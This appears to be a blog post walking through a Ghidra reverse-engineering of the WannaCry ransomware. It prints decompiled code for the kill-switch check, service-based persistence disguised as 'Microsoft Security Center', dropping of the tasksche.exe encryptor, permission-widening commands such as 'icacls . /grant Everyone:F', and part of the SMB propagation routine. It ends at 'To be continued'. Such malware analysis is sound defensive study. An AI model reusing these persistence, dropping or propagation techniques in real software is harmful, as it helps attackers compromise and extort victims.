Analysing wannacry

First of all, lets import the binary to ghidra and see if there is anything useful in the strings

But before we start, i have 3 different versions of wannacry, and each seem to be different from one another. Here is comparison of the strings for two of them.

Initial Analysis, Strings and Entry

I’ll try to reverse the initial release of wannacry. Lets start!

Right out of the bat, there are some interesting strings, it is now easier to comment on these since it is pretty much known how the malware works and spreads.

\\%s\IPC$ points toward that propogation vector is trough SMB, while http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is the first thing that catches the attention.

Lets start checking out the decompiled source:

void entry(void)

{
  undefined4 *puVar1;
  undefined4 *in_FS_OFFSET;
  byte *local_78;
  char **local_74;
  _startupinfo local_70;
  int local_6c;
  char **local_68;
  int local_64;
  _STARTUPINFOA local_60;
  undefined *local_1c;
  undefined4 uStack20;
  undefined *puStack16;
  undefined *puStack12;
  undefined4 local_8;
  
  puStack12 = &DAT_0040a1a0;
  puStack16 = &DAT_00409ba2;
  uStack20 = *in_FS_OFFSET;
  *(undefined4 **)in_FS_OFFSET = &uStack20;
  local_1c = &stack0xffffff78;
  local_8 = 0;
  __set_app_type(2);
  _DAT_0070f894 = 0xffffffff;
  _DAT_0070f898 = 0xffffffff;
  puVar1 = (undefined4 *)__p__fmode();
  *puVar1 = DAT_0070f88c;
  puVar1 = (undefined4 *)__p__commode();
  *puVar1 = DAT_0070f888;
  _DAT_0070f890 = *(undefined4 *)_adjust_fdiv_exref;
  FUN_00409ba1();
  if (_DAT_00431410 == 0) {
    __setusermatherr(&LAB_00409b9e);
  }
  FUN_00409b8c();
  _initterm(&DAT_0040b00c,&DAT_0040b010);
  local_70 = DAT_0070f884;
  __getmainargs(&local_64,&local_74,&local_68,_DoWildCard_0070f880,&local_70);
  _initterm(&DAT_0040b000,&DAT_0040b008);
  local_78 = *(byte **)_acmdln_exref;
  if (*local_78 != 0x22) {
    do {
      if (*local_78 < 0x21) goto LAB_00409b09;
      local_78 = local_78 + 1;
    } while( true );
  }
  do {
    local_78 = local_78 + 1;
    if (*local_78 == 0) break;
  } while (*local_78 != 0x22);
  if (*local_78 != 0x22) goto LAB_00409b09;
  do {
    local_78 = local_78 + 1;
LAB_00409b09:
  } while ((*local_78 != 0) && (*local_78 < 0x21));
  local_60.dwFlags = 0;
  GetStartupInfoA((LPSTARTUPINFOA)&local_60);
  GetModuleHandleA((LPCSTR)0x0);
  local_6c = FUN_00408140();
                    /* WARNING: Subroutine does not return */
  exit(local_6c);
}

It looks intimidating at first, but if you practice reversing, you should realise this is just the generic windows code that leads to winMain. Lets rename/retype!

Ghidra doesn’t recognize that this is winmain, so lets change the signature ourselves

undefined4 FUN_00408140 (void)

Lets change it to be more readable.

int wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)

Lets continue and check inside the winmain.

WinMain


int wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)

{
  undefined4 uVar1;
  int iVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 uStack100;
  undefined4 uStack96;
  undefined4 uStack92;
  undefined4 local_50 [14];
  undefined4 local_17;
  undefined4 local_13;
  undefined4 local_f;
  undefined4 local_b;
  undefined4 local_7;
  undefined2 local_3;
  undefined local_1;
  
  iVar2 = 0xe;
  puVar3 = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
  puVar4 = local_50;
  while (iVar2 != 0) {
    iVar2 = iVar2 + -1;
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  *(undefined *)puVar4 = *(undefined *)puVar3;
  local_17 = 0;
  local_13 = 0;
  local_f = 0;
  local_b = 0;
  local_7 = 0;
  local_3 = 0;
  uStack92 = 0;
  uStack96 = 0;
  uStack100 = 0;
  local_1 = 0;
  uVar1 = InternetOpenA(0,1);
  iVar2 = InternetOpenUrlA(uVar1,&uStack100,0,0,0x84000000,0);
  if (iVar2 == 0) {
    InternetCloseHandle(uVar1);
    InternetCloseHandle(0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(uVar1);
  InternetCloseHandle(iVar2);
  return 0;
}

I see some standart function names from wininet.h, but ghidra (again) does not recognize their signature. So i edited them as:

void InternetOpenA(
  LPCSTR lpszAgent,
  DWORD  dwAccessType,
  LPCSTR lpszProxy,
  LPCSTR lpszProxyBypass,
  DWORD  dwFlags
)

void InternetOpenUrlA(
  HINTERNET hInternet,
  LPCSTR    lpszUrl,
  LPCSTR    lpszHeaders,
  DWORD     dwHeadersLength,
  DWORD     dwFlags,
  DWORD_PTR dwContext
)

bool InternetCloseHandle(
  HINTERNET hInternet
)

Ghidra does not recognize HINTERNET, and i cant find any documentation on the structure itself, so i just replace it with a void*

Then, lets rename this block here so it’s a bit easier to understand.

iVar2 = 0xe;
puVar3 = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
puVar4 = local_50;
while (iVar2 != 0) {
	iVar2 = iVar2 + -1;
	*puVar4 = *puVar3;
	puVar3 = puVar3 + 1;
	puVar4 = puVar4 + 1;
}
counter_14 = 14;
some_url = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
some_url_dup = local_50;
while (counter_14 != 0) {
	counter_14 = counter_14 + -1;
	*some_url_dup = *some_url;
	some_url = some_url + 1;
	some_url_dup = some_url_dup + 1;
}

It looks like its just a strcpy from stack to buffer, moving on.

  InternetOpenA((LPCSTR)0x0,1,(LPCSTR)0x0,(LPCSTR)0x0,0);
  InternetOpenUrlA(hInternet,local_50,(LPCSTR)0x0,0,0x84000000,0);
  if (hInternet_00 == (void *)0x0) {
    InternetCloseHandle(hInternet);
    InternetCloseHandle((void *)0x0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hInternet_00);
  return 0;

Something here looks weird, hInternet_00 is not use but we are closing the handle.

After checking out the assembly to see what is going on, i see that InternetOpenA and InternetOpenUrlA are supposed to return something, im assuming its HINTERNET, so i change signature to return void* instead of void.

Voila! Now it makes sense.

  hInternet = InternetOpenA((LPCSTR)0x0,1,(LPCSTR)0x0,(LPCSTR)0x0,0);
  hInternet_00 = InternetOpenUrlA(hInternet,local_50,(LPCSTR)0x0,0,0x84000000,0);
  if (hInternet_00 == (void *)0x0) {
    InternetCloseHandle(hInternet);
    InternetCloseHandle((void *)0x0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hInternet_00);
  return 0;

So, it looks like malware is first capturing an internet handle, and checking if we can get a response from the strange url. If it can’t get a response (so hInternet is null), it continues to execute FUN_00408090()

But as you can see, if it can get a response, it closes the handles and and terminates the winMain without doing anything.

This is the infamous killswitch that was discovered by “Marcus Hutchins”, or as many know him, malwareTech on twitter.

Also lets take a moment to appreciate they are closing the handles, what a bunch of good people!

Lets rename the FUN_00408090() as evil(), and continue with our task.

Evil()

void evil(void)

{
  int *piVar1;
  SC_HANDLE hSCManager;
  SC_HANDLE hSCObject; 
  SERVICE_TABLE_ENTRYA SStack16;
  undefined4 uStack8;
  undefined4 uStack4;
  
  GetModuleFileNameA((HMODULE)0x0,(LPSTR)&lpFilename_0070f760,0x104);
  piVar1 = (int *)__p___argc();
  if (*piVar1 < 2) {
    FUN_00407f20();
    return;
  }
  hSCManager = OpenSCManagerA((LPCSTR)0x0,(LPCSTR)0x0,0xf003f);
  if (hSCManager != (SC_HANDLE)0x0) {
    hSCObject = OpenServiceA(hSCManager,s_mssecsvc2.0_004312fc,0xf01ff);
    if (hSCObject != (SC_HANDLE)0x0) {
      FUN_00407fa0(hSCObject,0x3c);
      CloseServiceHandle(hSCObject);
    }
    CloseServiceHandle(hSCManager);
  }
  SStack16.lpServiceName = s_mssecsvc2.0_004312fc;
  SStack16.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)&LAB_00408000;
  uStack8 = 0;
  uStack4 = 0;
  StartServiceCtrlDispatcherA(&SStack16);
  return;
}

Checking out microsoft docs for GetModuleFileNameA tells us that Retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process.

So lpFilename_0070f760 is just current path of the executable, so i rename it to myPath.

__p___argc() just returns the argc, i don’t actually know why it wasnt passed into evil() from winMain, but whatever, i don’t judge. So i call piVar1 argc.

  if (*argc < 2) {
    FUN_00407f20();
    return;
  }

If there are no arguements, something else is being executed first. Lets rename this to hasNoArgs() and check out the content.

undefined4 hasNoArgs(void)

{
  FUN_00407c40();
  FUN_00407ce0();
  return 0;
}

Okay, lets rename hasNoArgsPart1 and hasNoArgsPart2 and check out part 1. By the way, im renaming everything because if the same function is being called somewhere else, i want to know it.

Self-Register As a Service

undefined4 hasNoArgsPart1(void)

{
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  char local_104 [260];
  
  sprintf(local_104,s_%s_-m_security_00431330,&myPath);
  hSCManager = OpenSCManagerA((LPCSTR)0x0,(LPCSTR)0x0,0xf003f);
  if (hSCManager != (SC_HANDLE)0x0) {
    hService = CreateServiceA(hSCManager,s_mssecsvc2.0_004312fc,
                              s_Microsoft_Security_Center_(2.0)_S_00431308,0xf01ff,0x10,2,1,
                              local_104,(LPCSTR)0x0,(LPDWORD)0x0,(LPCSTR)0x0,(LPCSTR)0x0,(LPCSTR)0x0
                             );
    if (hService != (SC_HANDLE)0x0) {
      StartServiceA(hService,0,(LPCSTR *)0x0);
      CloseServiceHandle(hService);
    }
    CloseServiceHandle(hSCManager);
    return 0;
  }
  return 0;
}

sprintf(local_104,s_%s_-m_security_00431330,&myPath); seems like its getting its own path, and appending ` -m security` to itself.

What code above is doing is basically:

  • Registering itself as a service, and giving “its path + ` -m security`” as exacutable.
  • Setting its name up as Microsoft Security Center(2.0)
  • Passing flags to CreateServiceA which indicates it has full permissions and starts on boot.
  • And finally, starts the service with StartServiceA

Running Resource 0x727

Second part of the noArgs is a lot longer, so i simply wont put the code here for you to scroll down. Instead, im going to put it as i analyse.

First, it looks like its loading some functions from kernel32.dll, lets rename the variables.

  hModule = GetModuleHandleW(u_kernel32.dll_004313b4);
  if (hModule != (HMODULE)0x0) {
    DAT_00431478 = GetProcAddress(hModule,s_CreateProcessA_004313a4);
    _DAT_00431458 = GetProcAddress(hModule,s_CreateFileA_00431398);
    _DAT_00431460 = GetProcAddress(hModule,s_WriteFile_0043138c);
    _DAT_0043144c = GetProcAddress(hModule,s_CloseHandle_00431380);

Next, it checks if the load from kernel32.dll is successfull, and finds resource at 0x727.

    if ((((createProcess != (FARPROC)0x0) && (_createFile != (FARPROC)0x0)) &&
        (_writeFile != (FARPROC)0x0)) && (_closeHandle != (FARPROC)0x0)) {
      hResInfo = FindResourceA((HMODULE)0x0,(LPCSTR)0x727,&DAT_0043137c);
      if (hResInfo != (HRSRC)0x0) {
        hResData = LoadResource((HMODULE)0x0,hResInfo);
        if (hResData != (HGLOBAL)0x0) {
          local_260 = LockResource(hResData);
          if (local_260 != (LPVOID)0x0) {
            DVar2 = SizeofResource((HMODULE)0x0,hResInfo);

if it successfully finds the resource, it loads the resource, get the size and etc.

After, it has two calls to calloc, which ghidra does not recognize.

puVar10 = local_207;
while (iVar3 != 0) {
	iVar3 = iVar3 + -1;
	*puVar10 = 0;
	puVar10 = puVar10 + 1;
}

puVar10 = local_103;
while (iVar3 != 0) {
	iVar3 = iVar3 + -1;
	*puVar10 = 0;
	puVar10 = puVar10 + 1;
}

Then, there are two calls to sprintf, which clearly has 2x %s and second one has a single %s, but no other variable is passed.

sprintf(&local_208,s_C:\%s\%s_00431358);
sprintf(&local_104,s_C:\%s\qeriuwjhrf_00431344);

Checking out the dissassembly, we can confirm there are 2 variables that were pushed, but wasn’t recognized by ghidra. Turns out ghidra is pretty bad with recognizing variadic functions, so i overload the function with 2 more variables.

After overriding the signature manually, we are left with this:

sprintf(&local_208,s_C:\%s\%s_00431358,s_WINDOWS_00431364,s_tasksche.exe_0043136c);
sprintf(acStack244,s_C:\%s\qeriuwjhrf_00431344,s_WINDOWS_00431364);

Following from here, it looks like its writing the resource at 0x727 to tasksche.exe, and running it with createProcessA.

We can then extract the resouce with wrestool from the binary.

The resource is then identified as 0x727.bin: PE32 executable (GUI) Intel 80386, for MS Windows, so lets also load it to ghidra.

Checking out the strings, its easy to see this resource is the encryptor of the wannacry. There are crypto function symbols, file extensions of which could contain important/valuable data, and bitcoin addresses?

Encryption

So the encryptor starts just like initial file, so we edit the signature of the winmain again.

int wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)

{
  int *piVar1;
  uint uVar2;
  DWORD DVar3;
  char *pcVar4;
  short *psVar5;
  code *pcVar6;
  int iVar7;
  undefined4 *puVar8;
  char **_Str2;
  undefined local_6e8 [1240];
  CHAR local_210;
  undefined4 local_20f [129];
  uint local_8;
  
  local_210 = DAT_0040f910;
  iVar7 = 0x81;
  puVar8 = local_20f;
  while (iVar7 != 0) {
    iVar7 = iVar7 + -1;
    *puVar8 = 0;
    puVar8 = puVar8 + 1;
  }
  *(undefined2 *)puVar8 = 0;
  *(undefined *)((int)puVar8 + 2) = 0;
  GetModuleFileNameA((HMODULE)0x0,&local_210,0x208);
  FUN_00401225((int)&lpMultiByteStr_0040f8ac);
  piVar1 = (int *)__p___argc();
  if (*piVar1 == 2) {
    _Str2 = &_Str2_0040f538;
    piVar1 = (int *)__p___argv();
    iVar7 = strcmp(*(char **)(*piVar1 + 4),(char *)_Str2);
    if ((iVar7 == 0) && (uVar2 = FUN_00401b5f((wchar_t *)0x0), uVar2 != 0)) {
      CopyFileA(&local_210,s_tasksche.exe_0040f4d8,0);
      DVar3 = GetFileAttributesA(s_tasksche.exe_0040f4d8);
      if ((DVar3 != 0xffffffff) && (iVar7 = FUN_00401f5d(), iVar7 != 0)) {
        return 0;
      }
    }
  }
  pcVar4 = strrchr(&local_210,0x5c);
  if (pcVar4 != (char *)0x0) {
    pcVar4 = strrchr(&local_210,0x5c);
    *pcVar4 = '\0';
  }
  SetCurrentDirectoryA(&local_210);
  FUN_004010fd(1);
  FUN_00401dab((HMODULE)0x0);
  FUN_00401e9e();
  FUN_00401064(s_attrib_+h_._0040f520,0,(LPDWORD)0x0);
  FUN_00401064(s_icacls_._/grant_Everyone:F_/T_/C_0040f4fc,0,(LPDWORD)0x0);
  iVar7 = FUN_0040170a();
  if (iVar7 != 0) {
    FUN_004012fd();
    iVar7 = FUN_00401437(local_6e8,(LPCSTR)0x0,0,0);
    if (iVar7 != 0) {
      local_8 = 0;
      psVar5 = (short *)FUN_004014a6(local_6e8,s_t.wnry_0040f4f4,&local_8);
      if (((psVar5 != (short *)0x0) &&
          (piVar1 = (int *)FUN_004021bd(psVar5,local_8), piVar1 != (int *)0x0)) &&
         (pcVar6 = (code *)FUN_00402924(piVar1,s_TaskStart_0040f4e8), pcVar6 != (code *)0x0)) {
        (*pcVar6)(0,0);
      }
    }
    FUN_0040137a();
  }
  return 0;
}

Nothing interesting seems to happen until first unknown function, FUN_00401225, so lets check its content.

void __cdecl FUN_00401225(int param_1)

{
  size_t sVar1;
  int iVar2;
  int iVar3;
  uint _Seed;
  int iVar4;
  undefined4 *puVar5;
  ushort *puVar6;
  int iVar7;
  ushort local_19c;
  undefined4 local_19a [99];
  DWORD local_c;
  uint local_8;
  
  local_19c = DAT_0040f874;
  iVar3 = 99;
  local_c = 399;
  puVar5 = local_19a;
  while (iVar3 != 0) {
    iVar3 = iVar3 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  *(undefined2 *)puVar5 = 0;
  GetComputerNameW((LPWSTR)&local_19c,&local_c);
  local_8 = 0;
  _Seed = 1;
  sVar1 = wcslen((wchar_t *)&local_19c);
  if (sVar1 != 0) {
    puVar6 = &local_19c;
    do {
      _Seed = _Seed * (uint)*puVar6;
      local_8 = local_8 + 1;
      puVar6 = puVar6 + 1;
      sVar1 = wcslen((wchar_t *)&local_19c);
    } while (local_8 < sVar1);
  }
  srand(_Seed);
  iVar3 = rand();
  iVar7 = 0;
  iVar4 = iVar3 % 8 + 8;
  if (0 < iVar4) {
    do {
      iVar2 = rand();
      *(char *)(iVar7 + param_1) = (char)(iVar2 % 0x1a) + 'a';
      iVar7 = iVar7 + 1;
    } while (iVar7 < iVar4);
  }
  while (iVar7 < iVar3 % 8 + 0xb) {
    iVar4 = rand();
    *(char *)(iVar7 + param_1) = (char)(iVar4 % 10) + '0';
    iVar7 = iVar7 + 1;
  }
  *(undefined *)(iVar7 + param_1) = 0;
  return;
}

This looks like a custom function that is used to generate a seed for the srand(), which is possibly used in generating the public key for encryption.

  GetComputerNameW((LPWSTR)&cname,&cname_size);
  local_8 = 0;
  _Seed = 1;
  sVar1 = wcslen((wchar_t *)&cname);
  if (sVar1 != 0) {
    puVar6 = &cname;
    do {
      _Seed = _Seed * (uint)*puVar6;
      local_8 = local_8 + 1;
      puVar6 = puVar6 + 1;
      sVar1 = wcslen((wchar_t *)&cname);
    } while (local_8 < sVar1);
  }
  srand(_Seed);

It looks like its using the computer name to generate a “unique” seed so not every victim has the same public key.

  iVar3 = rand();
  iVar7 = 0;
  iVar4 = iVar3 % 8 + 8;
  if (0 < iVar4) {
    do {
      iVar2 = rand();
      *(char *)(iVar7 + param_1) = (char)(iVar2 % 0x1a) + 'a';
      iVar7 = iVar7 + 1;
    } while (iVar7 < iVar4);
  }
  while (iVar7 < iVar3 % 8 + 0xb) {
    iVar4 = rand();
    *(char *)(iVar7 + param_1) = (char)(iVar4 % 10) + '0';
    iVar7 = iVar7 + 1;
  }

This part seems to generate a random alphanumeric string, and sets it as the global variable that was passed as an arguement to the function. Lets rename the function randomString() and rename the global as generatedString.

Eternalblue?

This part seems to go deeper and deeper, so i mark where i left off here, and return to initial binary.

I remember the \\%s\IPC$ stuff on the actual binary, and i want to follow it up the stack to see how eternalblue is actually used.

Checking the references to the string, it is only referred inside FUN_004017b0(), which i renamed to refersToIPC

refersToIPC has references, so i follow again to ` FUN_00401980()`

To be continued

undefined4 __cdecl FUN_00401980(undefined4 param_1)

{
  undefined2 uVar1;
  int iVar2;
  int iVar3;
  int iVar4;
  undefined2 unaff_SI;
  undefined4 *puVar5;
  undefined4 uVar6;
  undefined4 uStack1072;
  undefined4 uStack1068;
  undefined4 uStack1064;
  undefined4 uStack1060;
  undefined4 uStack1056;
  undefined4 uVar7;
  char cStack1044;
  undefined4 local_410;
  undefined uStack1028;
  undefined uStack1027;
  undefined local_400;
  undefined local_3ff;
  undefined uStack1022;
  undefined uStack1021;
  
  iVar4 = 0xff;
  local_400 = 0;
  puVar5 = (undefined4 *)&local_3ff;
  while (iVar4 != 0) {
    iVar4 = iVar4 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  *(undefined2 *)puVar5 = 0;
  *(undefined *)((int)puVar5 + 2) = 0;
  local_410 = CONCAT22(local_410._2_2_,2);
  uStack1056 = param_1;
  uStack1060 = 0x4019b1;
  local_410 = Ordinal_11();
  uStack1060 = param_1;
  uStack1064 = 0x4019c2;
  uVar1 = Ordinal_9();
  uStack1064 = 0;
  uStack1068 = 1;
  uStack1072 = 2;
  uVar7 = CONCAT22(uVar1,unaff_SI);
  iVar4 = Ordinal_23();
  if (iVar4 != -1) {
    puVar5 = &uStack1060;
    uVar1 = 0x10;
    iVar3 = iVar4;
    iVar2 = Ordinal_4(iVar4,puVar5,0x10);
    if (iVar2 != -1) {
      iVar2 = Ordinal_19(iVar4,&DAT_0042e3d0,0x58,0);
      if (iVar2 != -1) {
        iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
        if (iVar2 != -1) {
          iVar2 = Ordinal_19(iVar4,&DAT_0042e42c,0x67,0);
          if (iVar2 != -1) {
            iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
            if (iVar2 != -1) {
              uVar6 = CONCAT13(local_3ff,CONCAT12(local_400,uVar1));
              iVar2 = refersToIPC(param_1,&stack0xfffffbce);
              uVar1 = (undefined2)uVar6;
              iVar2 = Ordinal_19(iVar4,&DAT_0042e494,iVar2,0,iVar3,puVar5,uVar6);
              if (iVar2 != -1) {
                iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
                if (iVar2 != -1) {
                  DAT_0042e510 = uStack1028;
                  DAT_0042e512 = uStack1028;
                  DAT_0042e514 = local_400;
                  DAT_0042e515 = local_3ff;
                  DAT_0042e511 = uStack1027;
                  DAT_0042e513 = uStack1027;
                  DAT_0042e516 = uStack1022;
                  DAT_0042e517 = uStack1021;
                  iVar3 = Ordinal_19(iVar4,&DAT_0042e4f4,0x4e,0,iVar3,puVar5,
                                     CONCAT13(local_3ff,CONCAT12(local_400,uVar1)));
                  if (iVar3 != -1) {
                    iVar3 = Ordinal_16(iVar4,&uStack1056,0x400,0);
                    if ((((iVar3 != -1) && ((char)((uint)uVar7 >> 8) == '\x05')) &&
                        ((char)((uint)uVar7 >> 0x10) == '\x02')) &&
                       (((char)((uint)uVar7 >> 0x18) == '\0' && (cStack1044 == -0x40)))) {
                      Ordinal_3(iVar4);
                      return 1;
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    Ordinal_3(iVar4);
  }
  return 0;
}